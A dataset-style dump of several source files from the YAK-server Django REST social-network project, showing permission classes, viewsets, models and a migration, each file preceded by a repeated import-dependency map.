{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,214
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_network/utils.py
from django.core.exceptions import ImproperlyConfigured from django.apps import apps from django.conf import settings def get_social_model(): """ Returns the social model that is active in this project. """ try: return apps.get_model(settings.SOCIAL_MODEL) except ValueError: raise ImproperlyConfigured("SOCIAL_MODEL must be of the form 'app_label.model_name'") except LookupError: raise ImproperlyConfigured( "SOCIAL_MODEL refers to model '{}' that has not been installed".format(settings.SOCIAL_MODEL))
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,215
jaydenwindle/YAK-server
refs/heads/master
/test_project/test_app/api/views.py
from rest_framework import viewsets from test_project.test_app.models import Post, Article from yak.rest_social_auth.views import SocialShareMixin from yak.rest_social_network.views import SocialUserViewSet from test_project.test_app.api.serializers import ProjectUserSerializer, PostSerializer, ArticleSerializer class ProjectUserViewSet(SocialUserViewSet): serializer_class = ProjectUserSerializer class PostViewSet(viewsets.ModelViewSet, SocialShareMixin): serializer_class = PostSerializer queryset = Post.objects.all() def perform_create(self, serializer): serializer.save(user=self.request.user) class ArticleViewSet(viewsets.ModelViewSet): serializer_class = ArticleSerializer queryset = Article.objects.all() def perform_create(self, serializer): serializer.save(user=self.request.user)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,216
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_core/permissions.py
from rest_framework import permissions from django.contrib.auth import get_user_model User = get_user_model() class IsOwner(permissions.IsAuthenticated): """ Only the object's owner can view or edit Assumes the model instance has a `user` attribute. """ def has_object_permission(self, request, view, obj): # Instance must have an attribute named `user`. if isinstance(obj, User): return obj == request.user else: return obj.user == request.user class IsOwnerOrReadOnly(permissions.BasePermission): """ Object-level permission to only allow owners of an object to edit it. Unauthenticated users can still read. Assumes the model instance has a `user` attribute. """ def has_permission(self, request, view): """ This is specifically to use PUT for bulk updates, where it appears DRF does not use `has_object_permission` """ if request.method in permissions.SAFE_METHODS: return True else: return request.user.is_authenticated def has_object_permission(self, request, view, obj): # Read permissions are allowed to any request, # so we'll always allow GET, HEAD or OPTIONS requests. if request.method in permissions.SAFE_METHODS: return True if isinstance(obj, User): return obj == request.user else: return obj.user == request.user class IsOwnerOrAuthenticatedReadOnly(IsOwnerOrReadOnly, permissions.IsAuthenticated): """ Object-level permission to only allow owners of an object to edit it. Unauthenticated users CANNOT read. Assumes the model instance has a `user` attribute. """ # TODO: Test this inherits the correct methods from each mixin pass
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,217
jaydenwindle/YAK-server
refs/heads/master
/test_project/test_app/models.py
from django.contrib.contenttypes.fields import GenericRelation from django.contrib.sites.models import Site from django.db import models from django.db.models.signals import post_save from django.utils.baseconv import base62 from yak.rest_core.models import resize_model_photos, CoreModel from yak.rest_notifications.models import create_notification_settings, Notification from yak.rest_social_network.models import FollowableModel, BaseSocialModel, Like, Flag, Share, Tag, \ Comment, relate_tags, mentions, AbstractSocialYeti from yak.rest_user.utils import create_auth_client class User(AbstractSocialYeti): notifications = GenericRelation(Notification) class Meta: ordering = ['-username'] def save(self, force_insert=False, force_update=False, using=None, update_fields=None): resize_model_photos(self) super(User, self).save(force_insert=False, force_update=False, using=None, update_fields=None) FollowableModel.register(User) post_save.connect(create_auth_client, sender=User) post_save.connect(create_notification_settings, sender=User) class Post(BaseSocialModel): user = models.ForeignKey(User, related_name='posts', on_delete=models.CASCADE) title = models.CharField(max_length=100, null=True, blank=True) description = models.TextField(blank=True, null=True) thumbnail = models.ImageField(upload_to="post_photos/thumbnail/", blank=True, null=True) TAG_FIELD = 'description' likes = GenericRelation(Like) flags = GenericRelation(Flag) shares = GenericRelation(Share) related_tags = models.ManyToManyField(Tag, blank=True) comments = GenericRelation(Comment) notifications = GenericRelation(Notification) def likes_count(self): return self.likes.count() def comments_count(self): return self.comments.count() def identifier(self): return "{}".format(self.title) def __unicode__(self): return "{}".format(self.title) if self.title else "Untitled" def url(self): current_site = Site.objects.get_current() return "http://{0}/{1}/{2}/".format(current_site.domain, "post", base62.encode(self.pk)) def facebook_og_info(self): return {'action': 'post', 'object': 'cut', 'url': self.url()} def create_social_message(self, provider): message = "{} published by {} on Test Project".format(self.title, self.user.username) # TODO: Sending of messages to post on social media is broken and convoluted at this point, need to refactor if provider == "twitter": return "{}".format(message.encode('utf-8')) else: return "{} {}".format(message.encode('utf-8'), self.url()) post_save.connect(relate_tags, sender=Post) post_save.connect(mentions, sender=Post) class Article(CoreModel): title = models.CharField(max_length=60) body = models.TextField() thumbnail = models.ImageField(upload_to="article_photos/thumbnail/", blank=True, null=True) likes = GenericRelation(Like) notifications = GenericRelation(Notification) def __unicode__(self): return "{}".format(self.title) if self.title else "Untitled" def identifier(self): return "{}".format(self.title)
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,218
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_notifications/migrations/0005_auto_20180209_1859.py
# Generated by Django 2.0 on 2018-02-09 18:59 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('rest_notifications', '0004_notification_template_override'), ] operations = [ migrations.AlterModelOptions( name='notificationsetting', options={'ordering': ['-created']}, ), ]
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}